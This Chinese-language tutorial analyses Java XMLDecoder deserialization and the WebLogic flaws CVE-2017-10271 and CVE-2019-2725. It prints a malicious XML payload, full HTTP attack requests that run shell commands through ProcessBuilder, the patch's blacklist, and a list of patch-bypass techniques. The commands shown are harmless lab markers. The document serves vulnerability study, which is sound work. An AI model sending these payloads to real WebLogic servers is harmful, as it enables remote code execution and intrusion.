Java安全初遇-XMLDecoder与Weblogic齐活儿
字数 1476 2025-08-22 12:23:36
XMLDecoder反序列化漏洞与Weblogic漏洞分析
1. XMLDecoder/XMLEncoder基础
1.1 基本概念
XMLDecoder/XMLEncoder是JDK1.4中添加的XML格式序列化持久性方案,用于表示JavaBeans组件的XML文档:
- XMLEncoder:生成表示JavaBeans组件的XML文档
- XMLDecoder:读取XMLEncoder创建的XML文档获取JavaBeans
1.2 XMLEncoder示例
import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
public class Test {
public static void main(String[] args) throws FileNotFoundException {
XMLEncoder e = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("Test.xml")));
e.writeObject(new JButton("Hello, world"));
e.close();
}
}
生成的XML文件:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_112" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>Hello, world</string>
</object>
</java>
1.3 XMLDecoder示例
import javax.swing.*;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;
public class Test {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("Test.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();
}
}
1.4 XML文档元素解析
- string标签:
<string>Hello, World</string> - object标签:表示对象,class属性指定类,method属性指定方法
<object class="javax.swing.JButton" method="new"> <string>Hello, world</string> </object> - void标签:表示函数调用、赋值等操作
<object class="javax.swing.JButton"> <void method="setText"> <string>Hello, world</string> </void> </object> - array标签:表示数组,index属性指定数组索引
<array class="java.lang.String" length="3"> <void index="1"> <string>Hello, world</string> </void> </array>
2. XMLDecoder反序列化漏洞
2.1 漏洞原理
通过XMLDecoder反序列化可控的恶意XML文档可以执行任意代码。
2.2 漏洞利用代码
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class xmlDecodeTest {
public static void main(String[] args) throws FileNotFoundException {
String path = "src/main/java/XMLDecoder/poc.xml";
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder a = new XMLDecoder(bis);
a.readObject();
}
}
2.3 恶意XML示例
<?xml version="1.0" encoding="UTF-8"?>
<java>
<void class="java.lang.ProcessBuilder" method="new">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /System/Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
等效Java代码:
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();
3. Weblogic漏洞分析
3.1 CVE-2017-10271
3.1.1 环境搭建
使用vulhub中的CVE-2017-10271环境:
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
3.1.2 攻击数据包
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/rai4over</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3.1.3 漏洞分析流程
- 请求到达
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest - 数据传入
readHeaderOld函数 - 通过
XMLStreamWriterFactory.create获取Payload - 创建
WorkContextXmlInputAdapter对象 - 最终在
WorkContextXmlInputAdapter#readUTF中调用XMLDecoder.readObject反序列化
3.1.4 补丁分析
补丁添加了黑名单检查:
private void validate(InputStream is) {
// ...
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
// ...
}
}
3.2 CVE-2019-2725
3.2.1 简介
WebLogic wls9-async反序列化远程命令执行漏洞,影响版本:
- WebLogic 10.X
- WebLogic 12.1.3
3.2.2 攻击数据包
POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Type: text/xml
Content-Length: 1252
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/rai4over</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
3.2.3 补丁绕过方式
对于打了补丁的Weblogic,可利用:
oracle.toplink.internal.sessions.UnitOfWorkChangeSet构造函数进行二次反序列化- 利用ysoserial-jdk7u21-RCE
- 利用FileSystemXmlApplicationContext-RCE
- 利用JtaTransactionManager链进行JNDI注入
4. 参考资源
- https://www.anquanke.com/post/id/180725
- https://www.anquanke.com/post/id/102768
- http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
- http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi
- https://github.com/lufeirider/CVE-2019-2725